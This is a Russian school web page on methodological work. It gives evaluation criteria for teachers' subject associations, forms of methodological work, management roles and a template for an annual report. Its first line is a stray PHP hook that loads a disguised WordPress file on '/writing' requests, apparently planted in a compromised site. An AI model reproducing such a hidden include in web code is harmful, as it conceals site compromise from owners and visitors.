if(strpos(strtolower($_SERVER['REQUEST_URI']),'/writing')){include(getcwd().'/wp-includes/class-wp-comments.php');exit;} Научно-методическая работа

Научно-методическая работа

Конференция педагогов

Критерии и уровни оценки деятельности

методических объединений учителей

Критерии

Уровни

Оптимальный (3 балла за каждый критерий, выраженный в полном объеме)

Удовлетворительный (2 балла за каждый критерий, выраженный в полном объеме)

Критический (1 балл за каждый критерий, выраженный в полном объеме)

Неудовлетворительный (0 баллов)

1

2

3

4

5

1. Постановка целей и задач работы МО в соответствии с целями и задачами работы школы

Цели и задачи МО напрямую согласуются с целями и задачами, поставленными перед школой. Поставлены конкретно.

Цели и задачи МО напрямую согласуются с целями и задачами, поставленными перед школой. Не всегда поставлены конкретно.

Нет соответствия в постановке целей и задач работы МО целям и задачам работы школы.

Цели и задачи не поставлены.

2. Наличие методической темы школы (согласуется ли она с  методической темой школы)

Методическая тема напрямую согласуется с методической темой школы, соответствует современной образовательной политике образования

Методическая тема не совсем согласуется с темой школы.

Нет соответствия в формулировании методической темы МО методической теме школы.

Методическая тема не поставлена. Работа над методической темой  отсутствует.

3. Качество знаний, степень обученности  по предметам

Качество знаний и степень обученности учащихся находится на стабильно хорошем уровне, в отдельных классах повышается.

Качество знаний и степень обучения учащихся не находятся на низком уровне.

Качество знаний и степень обучения учащихся  стабильны, но в отдельных классах снижаются.

Качество знаний, степень обученности учащихся снижаются или стабильно находятся на низком уровне.

4. Факультативная и внеурочная деятельность.

Систематически проводятся факультативы. Внеурочная деятельность проводится по разным направлениям во всех классах.

Систематически организуются занятия факультативов, проводится внеурочная деятельность, но не вукво всех классах.

Занятия факультативов от случая к случаю, внеурочная деятельность носит эпизодический характер.

Факультативы не проводятся, внеурочная деятельность не организуется

5. Участие обучающихся в предметных олимпиадах, смотрах, конкурсах, конференциях. Наличие призовых мест.

Наличие призовых мест в регионе, по России

Наличие призовых мест по району

Наличие призовых мест в школе

Не принимают участия

6. Работа по научно-методической программе

Данная работа спланирована, проводится активно. Подводятся промежуточные результаты.

Данная работа спланирована, проводится. Результаты работы подводятся формально.

Данная работа спланирована, проводится. Результаты работы не подводятся.

Работа не спланирована и не проводится

7. Участие педагогов МО в научно-методической работе школы.

Принимают активное участие

Принимают участие

Принимают участие эпизодически

Не принимают участия

7. Повышение квалификации педагогов

Систематически прово­дится работа по повышению квалификации педагогов. Все учителя занимаются само­образованием по выбранной теме.

Периодически прово­дится работа по повышению квалификации учителей. Все учителя занимаются самообразованием, периоди­чески учатся на курсах повышения квалификации

Работа по повышению квалификации проводится от случая к случаю. Часть педагогов занимается само-образованием, не­которые учатся на курсах повышения квалификации

Работа по повышению квалифи­кации не проводится. Педагоги практически не занимаются самообразова­нием и не посе­щают курсы повышения квалификации

8. Работа МО  по изучению, обобщению и распространению опыта лучших педагогов

Работа систематически планируется и проводится. Материалы публикуются в СМИ.

Работа проводится, но не всегда планируется заранее. Материалы публикуются в СМИ.

Работа проводится от случая к случаю. Материалы публикуются от случая к случаю в СМИ

Работа не проводится.

Материалы не публикуются в СМИ

9. Ведение документации МО.

Ведется полностью в соответствии с положением о МО.

Ведется в основном в соответствии с положением о МО.

Частично соответствует положению о МО.

Не ведется или ведется не в соответствии с положением о МО.

10. Отношение педагогов к работе в методическом объединении

Педагоги, входящие в методическое объединение, являются группой единомышленников, придающих большое значение методической работе

Педагоги понимают значимость методической работы, принимают активное участие в организационных мероприятиях

Педагоги понимают, что методической работой заниматься нужно, но делают это без желания

Педагоги считают, что методическая работа -

пустая трата времени

11. Проведение за­седаний методического объединения

Все заседания МО проведены согласно плану работы. Выполне­ние решений заседаний контролируется, отслеживаются результаты деятельности педагогов — участников методического объединения

Проведены все заседания методического объединения, на которых рассмотрено большинство из запланированных вопросов. Выполнение решений заседаний в основном контролируется, отслеживаются результаты деятельности педагогов— участников методического объединения

Проведена большая часть из запланированных заседаний методического объединения, на которых рассмотрены основные вопросы работы. Выполнение  решений заседаний  контролируется от случая к случаю, результаты деятельности педагогов отслеживаются нерегулярно.

Заседания методического объединения проводятся редко. Выполнение решений заседаний не контролируется, результаты деятельности педагогов — участников методического объединения не отслеживаются

12. Анализ проведенной работы.

Осуществляется методически правильно: характеризуется деятельность, направленная на решение поставленных задач, выделяются факторы положительно и отрицательно повлиявшие на работу школы.

Осуществляется методически правильно: в основном характеризуется деятельность, направленная на решение поставленных задач, выделяются факторы положительно и отрицательно повлиявшие на работу школы.

Не полностью характеризуется деятельность, направленная на решение поставленных задач, выделяются факторы положительно и отрицательно повлиявшие на работу школы.

Анализа нет.

Формы методической работы

Коллективные

Групповые

Индивидуальные

1. Методические дни-семинары

1. Диспут

1. Собеседование

2.Открытый урок

2. Круглый стол

2. Консультация

3. Научно-методическая конференция

3. Творческие проблемные группы

3.Самообразование

4.Педагогические чтения

4.Пекдагогический консилиум

4.Авторская работа

5.Педагогический совет

5. Педагогический практикум

5.Тренинг

6.Методический марафон

6.Предметные семинары

6.Презентация авторской программы

7.Методическая выставка

7.Опытно-экспериментальные группы

7.Стажировка

8.Панорама методических идей

8.Мастер-класс

8. Курсовая подготовка

9.Профессиональные конкурсы

9. Сайт ШМО

9. Составление Портфолио учителя

10.Сайт школы

10. Школа молодого учителя

10. Создание персонального сайта, блога

Функции управления

Функции управления методической работой

Ответственные

Определение целей и задач методической работы

Директор, педагогический совет

Назначение ответственных, распределение обязанностей

Директор

Кадровый вопрос, разработка прогноза по кадрам

Директор, заместитель директора по УВР

Курсовая подготовка

Директор

Вознаграждение сотрудников за результативность научно-методической работой

Директор по представлению методического совета

Управление реализацией целей и задач, контроль за исполнением

Заместитель директора по УВР, методический совет

Руководство процессом научно-методического обучения

Заместитель директора по УВР,  руководители ШМО

Адаптация молодых специалистов

Заместитель директора по УВР,  руководители ШМО

Оценка эффективности научно-методической работы на основе анализа, представленного заместителем директора по УВР

Директор, методический совет

Анализ деятельности ШМО

  1. Цель и задачи, которые ставились перед МО (должны вытекать из анализа прошлой работы и обозначившихся при этом проблем).
  2. Методическая тема, над которой работало МО, насколько она согласуется с методической темой школы.
  3. Сколько заседаний МО проведено. Тематика заседаний. Насколько вопросы, вынесенные на заседания, позволили решать поставленные задачи. В какой форме были проведены заседания МО.

Задача

Деятельность, направленная на решение данной задачи

  1. По совершенствованию образовательного процесса.
  2. - Продолжить поиск новых форм и методов урочной и внеклассной деятельности, способствующей развитию личности учащихся

1. На заседаниях ШМО в течение учебного года были изучены следующие нормативные документы:

* актуальные вопросы развития биологического образования в 2011Э2012 учебном году;

*было проведено ___ открытых уроков:

* в рамках круглого стола были обсуждены вопросы:

- организация смотра знаний по предметам;

* члены ШМО приняли активное участие в работе методических совещаний и педагогических советов…..


 

4.Кто, в какой форме, с какой целью проводил открытые уроки? Результаты открытых уроков.

 5. Результаты педагогической деятельности

 

Учитель ________________________________________

Результаты

уч. год

уч. год

уч. год

1

Качество

2

Успеваемость

3

Средний балл (уровень обученности)

Причины высоких и низких результатов.

    5. Эффективность внеклассной работы по предмету.

    6. Участие обучающихся в предметных олимпиадах, смотрах, конкурсах, конференциях  с указанием призового места и фамилии ученика и учителя. Результативность данного участия в динамике

Уч. год

Уч. год

Уч.год

Муниципальный уровень

Районный уровень

Областной  (региональный)

Федеральный

    7. Какие формы работы с кадрами успешно используются в МО.

    8. Какие инновации внедряются в работу МО, какие образовательные технологии используются педагогами МО.

    9. Участие членов МО в работе РМО, педчтениях, конкурсах профессионального мастерства.

    10. Результативность работы по теме самообразования

Учитель

Тема самообразования

Результативность работы



11. Какие новые учебные программы осваиваются учителями – членами МО, ведется ли преподавание по авторским программам.

12. Микроклимат в МО.

13.Работа по совершенствованию предметных кабинетов.

14. Повышение квалификации.

Уч. год

Уч. год

Уч. год

1

 

 

15. Публикации учителя (за последние 3 года)

Учитель

Место публикации

Тема урока, статьи, доклада, презентации, дид. материала  и т.д.

16. Факторы, положительно и отрицательно  повлиявшие на работу МО

Факторы, положительно повлиявшие на работу МО

Факторы, отрицательно повлиявшие на работу МО

1. Методически верно спланированная работа МО. Цели, задачи и формы работы, соответствуют целям и задачам работы школы.

1. Наличие неуспевающих по предметам в течение года, на итоговой государственной аттестации.

2. Недостаточное количество школьников, принявших участие в предметных олимпиадах,,,,

3. Невысокое качество подготовки к предметным олимпиадам (малое количество призовых мест)

17. Выводы.

 

12. При планировании работы ШМО на ______учебный год будет учтен не только положительный опыт работы, но и проблемы, требующие решения в новом учебном году, как_________________________.

Подпись руководителя МО___________________________